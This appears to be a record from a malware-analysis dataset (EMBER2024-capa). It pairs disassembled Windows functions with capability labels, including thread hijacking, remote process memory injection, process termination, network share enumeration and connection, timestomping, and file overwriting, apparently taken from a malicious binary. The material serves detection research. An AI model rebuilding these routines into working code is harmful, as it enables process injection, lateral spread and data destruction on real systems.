joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4050c8
Capabilities:
Clear file content
Get file size

Disassembly:
push ebp
mov ebp, esp
mov ecx, 6
push 0
push 0
dec ecx
jne 0x4050d0
push ecx
push ebx
push esi
push edi
xor edx, edx
push ebp
push 0x4052cc
push dword fs:[edx]
mov dword fs:[edx], esp
test al, al
je 0x405114
lea edx, [ebp - 0x14]
mov eax, 0x4052e4
call fcn.00404cc0
mov eax, dword [ebp - 0x14]
push eax
lea eax, [ebp - 0x18]
call fcn.00405028
mov edx, dword [ebp - 0x18]
lea eax, [ebp - 0xc]
pop ecx
call fcn.00403354
jmp 0x405139
lea edx, [ebp - 0x1c]
mov eax, 0x4052f4
call fcn.00404cc0
mov eax, dword [ebp - 0x1c]
push eax
lea eax, [ebp - 0x20]
call fcn.00405078
mov edx, dword [ebp - 0x20]
lea eax, [ebp - 0xc]
pop ecx
call fcn.00403354
mov eax, dword [ebp - 0xc]
call fcn.00404a74
test al, al
je 0x4052b1
mov edx, 2
mov eax, dword [ebp - 0xc]
call fcn.00404a84
mov esi, eax
cmp esi, 0xffffffff
je 0x4052b1
push 0
push esi
call sub.KERNEL32.DLL_GetFileSize
mov ebx, eax
lea eax, [ebp - 8]
mov edx, ebx
call fcn.00403638
mov eax, dword [ebp - 8]
call fcn.00403508
mov edx, eax
mov ecx, ebx
mov eax, esi
call fcn.004045b0
xor ebx, ebx
jmp 0x405271
mov edx, dword [ebp - 8]
mov eax, 0x405310
call fcn.004035f0
mov edi, eax
test edi, edi
jne 0x4051af
lea edx, [ebp - 4]
mov eax, dword [ebp - 8]
call fcn.00404878
jmp 0x405201
lea eax, [ebp - 0x24]
push eax
mov ecx, edi
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00403568
mov eax, dword [ebp - 0x24]
lea edx, [ebp - 4]
call fcn.00404878
lea eax, [ebp - 0x28]
push eax
lea edx, [edi + 1]
mov ecx, 1
mov eax, dword [ebp - 8]
call fcn.00403568
mov eax, dword [ebp - 0x28]
mov edx, 0x40531c
call fcn.00403454
jne 0x4051f2
inc edi
lea eax, [ebp - 8]
mov ecx, edi
mov edx, 1
call fcn.004035a8
cmp dword [ebp - 4], 0
je 0x405255
lea eax, [ebp - 0x2c]
push eax
mov ecx, 1
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00403568
mov eax, dword [ebp - 0x2c]
mov edx, 0x405328
call fcn.00403454
je 0x405255
lea edx, [ebp - 0x30]
mov eax, dword [ebp - 4]
call fcn.00404604
mov eax, dword [ebp - 0x30]
push eax
lea edx, [ebp - 0x34]
mov eax, 0x405334
call fcn.00404cc0
mov eax, dword [ebp - 0x34]
pop edx
call fcn.004035f0
test eax, eax
je 0x40526f
push dword [ebp - 0x10]
push dword [ebp - 4]
push 0x405348
lea eax, [ebp - 0x10]
mov edx, 3
call fcn.004033c8
jmp 0x405271
mov bl, 1
cmp dword [ebp - 8], 0
jne 0x40518f
test bl, bl
je 0x4052ab
xor ecx, ecx
xor edx, edx
mov eax, esi
call fcn.004048c8
mov eax, dword [ebp - 0x10]
call fcn.00403308
push eax
mov eax, dword [ebp - 0x10]
call fcn.00403508
mov edx, eax
mov eax, esi
pop ecx
call fcn.004048f8
push esi
call sub.KERNEL32.DLL_SetEndOfFile
push esi
call sub.KERNEL32.DLL_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4052d3
lea eax, [ebp - 0x34]
mov edx, 0xd
call fcn.00403198
ret
Function at 0x4062e4
Capabilities:
Hijack thread execution
Resume thread
Suspend thread

Disassembly:
push ebx
push esi
push edi
add esp, 0xffffff34
mov esi, eax
xor ebx, ebx
push 0
push esi
call fcn.004057a8
mov dword [0x4126bc], eax
cmp dword [0x4126bc], 0
je 0x406385
cmp dword [0x4126cc], 0
je 0x406385
cmp dword [0x4126d0], 0
je 0x406385
mov eax, dword [0x4126bc]
push eax
call sub.KERNEL32.DLL_SuspendThread
mov dword [esp], 0x10007
push esp
mov eax, dword [0x4126bc]
push eax
call sub.KERNEL32.DLL_GetThreadContext
test eax, eax
je 0x40636c
push esi
lea esi, [esp + 4]
mov edi, 0x4126d4
mov ecx, 0x33
rep movsd dword es:[edi], dword [esi]
pop esi
mov eax, dword [0x4126cc]
mov dword [esp + 0xb8], eax
mov dword [esp], 0x10007
push esp
mov eax, dword [0x4126bc]
push eax
call sub.KERNEL32.DLL_SetThreadContext
mov eax, dword [0x4126bc]
push eax
call sub.KERNEL32.DLL_ResumeThread
push 0
push 0
push 0
push esi
call sub.user32.dll_PostThreadMessageA
mov bl, 1
mov eax, ebx
add esp, 0xcc
pop edi
pop esi
pop ebx
ret

Function at 0x406b54
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x10], edx
mov edi, eax
xor eax, eax
push ebp
push 0x406c88
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
mov esi, 0x406af8
sub esi, 0x406ae8
push edi
push 0
push 0x1f0fff
call sub.KERNEL32.DLL_OpenProcess
mov dword [0x4127e0], eax
cmp dword [0x4127e0], 0
je 0x406c6d
push 0x40
push 0x1000
push esi
push 0
mov eax, dword [0x4127e0]
push eax
call sub.KERNEL32.DLL_VirtualAllocEx
mov dword [0x4127e4], eax
cmp dword [0x4127e4], 0
je 0x406c6b
lea edx, [ebp - 0x10]
mov eax, 0x406ca0
call fcn.00404cc0
mov eax, dword [ebp - 0x10]
call fcn.00403508
push eax
call sub.KERNEL32.DLL_GetModuleHandleA
mov ebx, eax
lea edx, [ebp - 0x14]
mov eax, 0x406cb8
call fcn.00404cc0
mov eax, dword [ebp - 0x14]
call fcn.00403508
push eax
push ebx
call sub.KERNEL32.DLL_GetProcAddress
call fcn.00406afc
mov dword [ebp - 0xc], eax
push esi
push 0
call sub.KERNEL32.DLL_GlobalAlloc
mov ebx, eax
test ebx, ebx
je 0x406c6b
mov edx, ebx
mov eax, 0x406ae8
mov ecx, esi
call fcn.00402590
mov edx, esi
sub edx, 5
test edx, edx
jl 0x406c4e
inc edx
mov dword [ebp - 4], 0
mov eax, ebx
add eax, dword [ebp - 4]
cmp dword [eax], 0x11111111
jne 0x406c48
mov ecx, dword [ebp - 0xc]
mov dword [eax], ecx
inc dword [ebp - 4]
dec edx
jne 0x406c36
lea eax, [ebp - 8]
push eax
push esi
push ebx
mov eax, dword [0x4127e4]
push eax
mov eax, dword [0x4127e0]
push eax
call sub.KERNEL32.DLL_WriteProcessMemory
push ebx
call sub.KERNEL32.DLL_GlobalFree
mov bl, 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406c8f
lea eax, [ebp - 0x14]
mov edx, 2
call fcn.00403198
ret
Function at 0x406cc4
Capabilities:
Hijack thread execution
Resume thread
Suspend thread

Disassembly:
push ebx
push esi
push edi
add esp, 0xffffff34
mov esi, eax
xor ebx, ebx
push 0
push esi
call fcn.00406818
mov dword [0x4127dc], eax
cmp dword [0x4127dc], 0
je 0x406d5c
cmp dword [0x4127e4], 0
je 0x406d5c
mov eax, dword [0x4127dc]
push eax
call sub.KERNEL32.DLL_SuspendThread
mov dword [esp], 0x10007
push esp
mov eax, dword [0x4127dc]
push eax
call sub.KERNEL32.DLL_GetThreadContext
test eax, eax
je 0x406d43
push esi
lea esi, [esp + 4]
mov edi, 0x4127e8
mov ecx, 0x33
rep movsd dword es:[edi], dword [esi]
pop esi
mov eax, dword [0x4127e4]
mov dword [esp + 0xb8], eax
mov dword [esp], 0x10007
push esp
mov eax, dword [0x4127dc]
push eax
call sub.KERNEL32.DLL_SetThreadContext
mov eax, dword [0x4127dc]
push eax
call sub.KERNEL32.DLL_ResumeThread
push 0
push 0
push 0
push esi
call sub.user32.dll_PostThreadMessageA
mov bl, 1
mov eax, ebx
add esp, 0xcc
pop edi
pop esi
pop ebx
ret

Function at 0x406ddc
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x10], ecx
mov edi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004034f8
xor eax, eax
push ebp
push 0x406e98
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, edi
call fcn.00403174
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
call fcn.00403508
push eax
call sub.version.dll_GetFileVersionInfoSizeA
mov ebx, eax
test ebx, ebx
jbe 0x406e7a
mov eax, ebx
call fcn.0040248c
mov esi, eax
push esi
push ebx
push 0
mov eax, dword [ebp - 4]
call fcn.00403508
push eax
call sub.version.dll_GetFileVersionInfoA
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
lea edx, [ebp - 0x10]
mov eax, 0x406eb0
call fcn.00404cc0
mov eax, dword [ebp - 0x10]
call fcn.00403508
push eax
push esi
call sub.version.dll_VerQueryValueA
test eax, eax
je 0x406e71
mov edx, edi
mov eax, dword [ebp - 8]
call fcn.0040478c
mov edx, ebx
mov eax, esi
call fcn.004024ac
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406e9f
lea eax, [ebp - 0x10]
call fcn.00403174
lea eax, [ebp - 4]
call fcn.00403174
ret
Function at 0x407178
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffed4
push ebx
push esi
xor eax, eax
mov dword [ebp - 4], eax
lea esi, [ebp - 0x12c]
xor eax, eax
push ebp
push 0x407229
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
call fcn.00406ed4
xor edx, edx
mov eax, 0xf
call fcn.004055d0
mov ebx, eax
mov dword [esi], 0x128
mov edx, esi
mov eax, ebx
call fcn.004055f0
cmp eax, 1
sbb eax, eax
inc eax
jmp 0x407209
push ebp
mov eax, dword [esi + 8]
call fcn.00406f24
pop ecx
test al, al
je 0x4071fa
mov eax, dword [esi + 8]
push eax
push 0xffffffffffffffff
push 1
call sub.KERNEL32.DLL_OpenProcess
mov esi, eax
test esi, esi
je 0x40720d
push 0
push esi
call sub.KERNEL32.DLL_TerminateProcess
push esi
call sub.KERNEL32.DLL_CloseHandle
jmp 0x40720d
mov edx, esi
mov eax, ebx
call fcn.00405610
cmp eax, 1
sbb eax, eax
inc eax
test al, al
jne 0x4071c9
push ebx
call sub.KERNEL32.DLL_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407230
lea eax, [ebp - 4]
call fcn.00403174
ret

Function at 0x407560
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffec4
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x13c], edx
mov dword [ebp - 0x134], edx
mov dword [ebp - 0x138], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004034f8
lea edi, [ebp - 0x12d]
xor eax, eax
push ebp
push 0x4076dc
push dword fs:[eax]
mov dword fs:[eax], esp
xor edx, edx
mov eax, 0xf
call fcn.004055d0
mov esi, eax
mov dword [edi], 0x128
mov edx, edi
mov eax, esi
call fcn.004055f0
cmp eax, 1
sbb eax, eax
inc eax
jmp 0x4076a8
lea eax, [ebp - 0x138]
lea edx, [edi + 0x24]
mov ecx, 0x104
call fcn.004032f0
mov eax, dword [ebp - 0x138]
lea edx, [ebp - 0x134]
call fcn.004046f4
mov eax, dword [ebp - 0x134]
mov edx, dword [ebp - 4]
call fcn.004046bc
test eax, eax
je 0x407622
lea eax, [ebp - 0x13c]
lea edx, [edi + 0x24]
mov ecx, 0x104
call fcn.004032f0
mov eax, dword [ebp - 0x13c]
mov edx, dword [ebp - 4]
call fcn.004046bc
test eax, eax
jne 0x407699
mov eax, dword [edi + 8]
push eax
push 0xffffffffffffffff
push 1
call sub.KERNEL32.DLL_OpenProcess
mov ebx, eax
test ebx, ebx
je 0x40764e
push 0
push ebx
call sub.KERNEL32.DLL_TerminateProcess
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 5], al
push ebx
call sub.KERNEL32.DLL_CloseHandle
jmp 0x407652
mov byte [ebp - 5], 0
cmp byte [ebp - 5], 0
jne 0x407699
call fcn.00407538
test al, al
jne 0x407699
mov edx, dword [edi + 8]
mov eax, 1
call fcn.00407420
mov ebx, eax
test ebx, ebx
je 0x407699
push 0
push ebx
call sub.KERNEL32.DLL_TerminateProcess
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 5], al
push ebx
call sub.KERNEL32.DLL_CloseHandle
cmp byte [ebp - 5], 0
jne 0x407699
mov eax, dword [edi + 8]
call fcn.00406d68
mov edx, edi
mov eax, esi
call fcn.00405610
cmp eax, 1
sbb eax, eax
inc eax
test al, al
jne 0x4075c7
push esi
call sub.KERNEL32.DLL_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4076e3
lea eax, [ebp - 0x13c]
mov edx, 3
call fcn.00403198
lea eax, [ebp - 4]
call fcn.00403174
ret
Function at 0x4084ac
Capabilities:
Get hostname
Initialize winsock library
Resolve dns

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffe2c
mov dword [esp], eax
mov edi, 0x412984
lea eax, [esp + 0x44]
push eax
push 0x101
call sub.wsock32.dll_WSAStartup
mov eax, dword [esp]
call fcn.00403174
push 0x40
lea eax, [esp + 8]
push eax
call sub.wsock32.dll_gethostname
lea eax, [esp + 4]
push eax
call sub.wsock32.dll_gethostbyname
test eax, eax
je 0x408546
mov esi, dword [eax + 0xc]
xor ebx, ebx
jmp 0x40853a
test ebx, ebx
jne 0x40850a
push dword [ebp]
call sub.wsock32.dll_inet_ntoa
mov edx, dword [esp]
call fcn.0040478c
mov eax, dword [edi]
call fcn.00403bb4
inc eax
push eax
mov eax, edi
mov ecx, 1
mov edx, dword [0x407e78]
call fcn.00403d70
add esp, 4
mov eax, dword [edi]
call fcn.00403bbc
mov edx, dword [edi]
mov ecx, dword [esi + ebx*4]
mov ecx, dword [ecx]
mov dword [edx + eax*4], ecx
inc ebx
mov ebp, dword [esi + ebx*4]
test ebp, ebp
jne 0x4084f6
call sub.wsock32.dll_WSACleanup
add esp, 0x1d4
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x408b90
Capabilities:
Create process on windows
Create thread

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
xor eax, eax
push ebp
push 0x408c44
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.00407238
lea edx, [ebp - 8]
mov eax, 0x408c58
call fcn.00404cc0
mov eax, dword [ebp - 8]
call fcn.00407560
lea edx, [ebp - 0xc]
mov eax, 0x408c6c
call fcn.00404cc0
mov eax, dword [ebp - 0xc]
call fcn.00407560
lea edx, [ebp - 0x10]
mov eax, 0x408c80
call fcn.00404cc0
mov eax, dword [ebp - 0x10]
call fcn.00407560
push 0
lea edx, [ebp - 0x14]
mov eax, 0x408c94
call fcn.00404cc0
mov eax, dword [ebp - 0x14]
call fcn.00403508
push eax
call sub.KERNEL32.DLL_WinExec
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0x408b00
push 0
push 0
call sub.KERNEL32.DLL_CreateThread
push 0x3e8
call sub.KERNEL32.DLL_Sleep
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x408c4b
lea eax, [ebp - 0x14]
mov edx, 4
call fcn.00403198
ret
Function at 0x40e278
Capabilities:
Connect network resource

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffcc
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x30], edx
mov dword [ebp - 0xc], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004034f8
lea edi, [ebp - 0x2c]
xor eax, eax
push ebp
push 0x40e3a5
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 5], 0
xor eax, eax
push ebp
push 0x40e36a
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x30]
mov ecx, dword [ebp - 4]
mov edx, 0x40e3c0
call fcn.00403354
mov eax, dword [ebp - 0x30]
lea edx, [ebp - 0xc]
call fcn.00410794
mov eax, dword [ebp - 0xc]
call fcn.00403bbc
mov esi, eax
test esi, esi
jl 0x40e360
inc esi
sub ebx, ebx
xor eax, eax
mov dword [edi + 4], eax
xor eax, eax
mov dword [edi + 0x10], eax
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + ebx*4]
call fcn.00403508
mov dword [edi + 0x14], eax
xor eax, eax
mov dword [edi + 0x1c], eax
push 0
push 0
push 0x40e3c4
push edi
call sub.mpr.dll_WNetAddConnection2A
test eax, eax
je 0x40e326
push 0
push 0
push 0
push edi
call sub.mpr.dll_WNetAddConnection2A
test eax, eax
jne 0x40e35c
mov byte [ebp - 5], 1
mov eax, dword [ebp - 0xc]
mov edx, dword [eax + ebx*4]
lea eax, [ebp - 0x34]
mov ecx, 0x40e3d0
call fcn.00403354
mov eax, dword [ebp - 0x34]
xor ecx, ecx
mov dl, 1
call fcn.0040fd00
push 0xffffffffffffffff
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + ebx*4]
call fcn.00403508
push eax
call sub.mpr.dll_WNetCancelConnectionA
inc ebx
dec esi
jne 0x40e2e6
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x40e374
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40e3ac
lea eax, [ebp - 0x34]
mov edx, 2
call fcn.00403198
lea eax, [ebp - 0xc]
mov edx, dword [0x40e254]
call fcn.00403d7c
lea eax, [ebp - 4]
call fcn.00403174
ret

Function at 0x40e3d4
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa8
push ebx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004034f8
xor eax, eax
push ebp
push 0x40e456
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x48]
mov edx, 0x44
call fcn.0040450c
mov dword [ebp - 0x48], 0x44
mov word [ebp - 0x18], 1
test ebx, ebx
jne 0x40e417
lea ebx, [ebp - 0x58]
push ebx
lea eax, [ebp - 0x48]
push eax
push 0
push 0
push 0x20
push 0xffffffffffffffff
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00403508
push eax
push 0
call sub.KERNEL32.DLL_CreateProcessA
cmp eax, 1
sbb eax, eax
inc eax
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40e45d
lea eax, [ebp - 4]
call fcn.00403174
ret
Function at 0x40eadc
Capabilities:
Delete file
Get file size
Read file on windows
Timestomp file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x2c], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004034f8
xor eax, eax
push ebp
push 0x40ecdb
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
mov edx, 2
mov eax, dword [ebp - 4]
call fcn.00404a84
mov edi, eax
cmp edi, 0xffffffff
je 0x40ecbd
push 0
push edi
call sub.KERNEL32.DLL_GetFileSize
mov esi, eax
cmp esi, 0x1000000
jae 0x40ecb2
cmp esi, dword [0x4129a0]
jl 0x40eb6f
push 0
lea eax, [ebp - 0x10]
push eax
push esi
mov eax, dword [0x412990]
push eax
push edi
call sub.KERNEL32.DLL_ReadFile
mov eax, dword [0x411200]
mov eax, dword [eax]
call fcn.00403508
mov ecx, eax
mov eax, dword [0x412990]
mov edx, esi
call fcn.0040845c
test eax, eax
sete al
jmp 0x40eb71
mov al, 1
test al, al
je 0x40ecb2
lea eax, [ebp - 0x2c]
mov ecx, 0x40ecf4
mov edx, dword [ebp - 4]
call fcn.00403354
mov eax, dword [ebp - 0x2c]
call fcn.00403508
push eax
call sub.KERNEL32.DLL_DeleteFileA
mov eax, dword [ebp - 0x2c]
call fcn.00404a74
test al, al
jne 0x40ecb2
mov eax, dword [ebp - 0x2c]
call fcn.004048d4
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
je 0x40ecb2
mov edx, dword [0x412994]
mov ecx, dword [0x4129a0]
mov eax, dword [ebp - 8]
call fcn.004048f8
mov eax, dword [ebp - 8]
push eax
call sub.KERNEL32.DLL_CloseHandle
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x18]
push eax
push edi
call sub.KERNEL32.DLL_GetFileTime
push edi
call sub.KERNEL32.DLL_CloseHandle
mov eax, dword [ebp - 0x2c]
call fcn.00403508
push eax
mov eax, dword [ebp - 4]
call fcn.00403508
pop edx
call fcn.0040f744
mov edx, 2
mov eax, dword [ebp - 4]
call fcn.00404a84
mov edi, eax
cmp edi, 0xffffffff
je 0x40ecb2
mov edx, 2
mov eax, dword [ebp - 0x2c]
call fcn.00404a84
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
je 0x40ec90
mov eax, esi
call fcn.0040248c
mov dword [ebp - 0xc], eax
mov edx, dword [ebp - 0xc]
mov ecx, esi
mov eax, edi
call fcn.004045b0
push 2
push 0
push 0
mov eax, dword [ebp - 8]
push eax
call sub.KERNEL32.DLL_SetFilePointer
mov edx, dword [ebp - 0xc]
mov ecx, esi
mov eax, dword [ebp - 8]
call fcn.004048f8
mov edx, esi
mov eax, dword [ebp - 0xc]
call fcn.004024ac
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x18]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.KERNEL32.DLL_SetFileTime
mov eax, dword [ebp - 8]
push eax
call sub.KERNEL32.DLL_CloseHandle
push edi
call sub.KERNEL32.DLL_CloseHandle
or edi, 0xffffffff
mov eax, dword [ebp - 4]
call fcn.00403508
push eax
call sub.KERNEL32.DLL_DeleteFileA
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 0x2c]
call fcn.00404adc
cmp edi, 0xffffffff
je 0x40ecbd
push edi
call sub.KERNEL32.DLL_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40ece2
lea eax, [ebp - 0x2c]
call fcn.00403174
lea eax, [ebp - 4]
call fcn.00403174
ret
Function at 0x40ed88
Capabilities:
Delete file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe0
push ebx
push esi
push edi
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
call fcn.004034f8
mov eax, dword [ebp - 0x18]
call fcn.004034f8
mov eax, dword [ebp - 0x1c]
call fcn.004034f8
xor eax, eax
push ebp
push 0x40ee8c
push dword fs:[eax]
mov dword fs:[eax], esp
push ebp
mov eax, dword [ebp - 0x14]
call fcn.00403508
push eax
mov eax, dword [ebp - 0x18]
call fcn.00403508
mov edx, eax
mov eax, dword [0x412650]
pop ecx
call fcn.0040ed10
pop ecx
test al, al
je 0x40ee71
mov eax, dword [ebp - 0x1c]
call fcn.00404a74
test al, al
je 0x40ee02
mov eax, dword [ebp - 0x1c]
call fcn.00403508
push eax
call sub.KERNEL32.DLL_DeleteFileA
xor eax, eax
push ebp
push 0x40ee56
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
mov eax, dword [ebp - 0x1c]
call fcn.00403508
push eax
call sub.KERNEL32.DLL_CreateFileA
mov ebx, eax
push 0
lea eax, [ebp - 0x20]
push eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
push ebx
call sub.KERNEL32.DLL_WriteFile
push ebx
call sub.KERNEL32.DLL_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x40ee60
mov eax, dword [ebp - 0x10]
call fcn.00404514
mov eax, dword [ebp - 0x10]
push eax
call sub.KERNEL32.DLL_FreeResource
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40ee93
lea eax, [ebp - 0x1c]
mov edx, 3
call fcn.00403198
ret
Function at 0x40f4ac
Capabilities:
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe64
push ebx
push esi
push edi
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004034f8
xor eax, eax
push ebp
push 0x40f549
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x19c]
push eax
push 0x101
call sub.wsock32.dll_WSAStartup
mov eax, dword [ebp - 0xc]
call fcn.00403174
mov eax, dword [ebp - 4]
call fcn.00403508
push eax
call sub.wsock32.dll_gethostbyname
test eax, eax
je 0x40f533
mov esi, dword [eax + 0xc]
xor ebx, ebx
jmp 0x40f527
test ebx, ebx
jne 0x40f526
push dword [edi]
call sub.wsock32.dll_inet_ntoa
mov edx, dword [ebp - 0xc]
call fcn.0040478c
mov eax, dword [esi + ebx*4]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
mov dword [edx], eax
inc ebx
mov edi, dword [esi + ebx*4]
test edi, edi
jne 0x40f509
call sub.wsock32.dll_WSACleanup
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40f550
lea eax, [ebp - 4]
call fcn.00403174
ret
Function at 0x40f558
Capabilities:
Enumerate network shares

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x58], ebx
mov dword [ebp - 0x50], ebx
mov dword [ebp - 0x54], ebx
mov dword [ebp - 0x4c], ebx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004034f8
mov eax, dword [ebp - 8]
call fcn.004034f8
xor eax, eax
push ebp
push 0x40f732
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 9], 0
lea eax, [ebp - 0x48]
xor ecx, ecx
mov edx, 0x20
call fcn.004027ec
mov eax, dword [ebp - 4]
call fcn.00403508
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x40], 2
mov dword [ebp - 0x3c], 2
mov dword [ebp - 0x48], 1
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x48]
push eax
push 2
push 1
push 2
call sub.mpr.dll_WNetOpenEnumA
test eax, eax
jne 0x40f70a
mov dword [ebp - 0x14], 0xffffffff
mov dword [ebp - 0x18], 0x2000
mov eax, dword [ebp - 0x18]
call fcn.0040248c
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x18]
push eax
mov eax, dword [ebp - 0x10]
push eax
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x1c]
push eax
call sub.mpr.dll_WNetEnumResourceA
cmp eax, 0x103
je 0x40f6f1
cmp eax, 0xea
jne 0x40f648
mov dword [ebp - 0x14], 0xffffffff
lea eax, [ebp - 0x10]
mov edx, dword [ebp - 0x18]
call fcn.004024cc
lea eax, [ebp - 0x18]
push eax
mov eax, dword [ebp - 0x10]
push eax
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x1c]
push eax
call sub.mpr.dll_WNetEnumResourceA
test eax, eax
jne 0x40f70a
mov esi, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
dec eax
test eax, eax
jl 0x40f5e1
inc eax
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x4c]
mov edx, dword [esi + 0x14]
add edx, 2
call fcn.004032c0
mov eax, dword [ebp - 0x4c]
mov edx, dword [ebp - 8]
call fcn.00403454
je 0x40f6e0
mov byte [ebp - 0x21], 0
mov eax, dword [0x412988]
call fcn.00403bbc
mov ebx, eax
test ebx, ebx
jl 0x40f6c4
inc ebx
xor edi, edi
lea eax, [ebp - 0x54]
mov edx, dword [esi + 0x14]
add edx, 2
call fcn.004032c0
mov eax, dword [ebp - 0x54]
lea ecx, [ebp - 0x50]
lea edx, [ebp - 0x20]
call fcn.0040f4ac
mov eax, dword [0x412988]
mov eax, dword [eax + edi*4]
cmp eax, dword [ebp - 0x20]
jne 0x40f6c0
mov byte [ebp - 0x21], 1
jmp 0x40f6c4
inc edi
dec ebx
jne 0x40f691
cmp byte [ebp - 0x21], 0
jne 0x40f6e0
lea eax, [ebp - 0x58]
mov edx, dword [esi + 0x14]
add edx, 2
call fcn.004032c0
mov eax, dword [ebp - 0x58]
call fcn.0040e278
add esi, 0x20
dec dword [ebp - 0x28]
jne 0x40f65f
jmp 0x40f5e1
mov eax, dword [ebp - 0x1c]
push eax
call sub.mpr.dll_WNetCloseEnum
test eax, eax
jne 0x40f70a
mov byte [ebp - 9], 1
mov eax, dword [ebp - 0x10]
call fcn.004024ac
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40f739
lea eax, [ebp - 0x58]
mov edx, 4
call fcn.00403198
lea eax, [ebp - 8]
mov edx, 2
call fcn.00403198
ret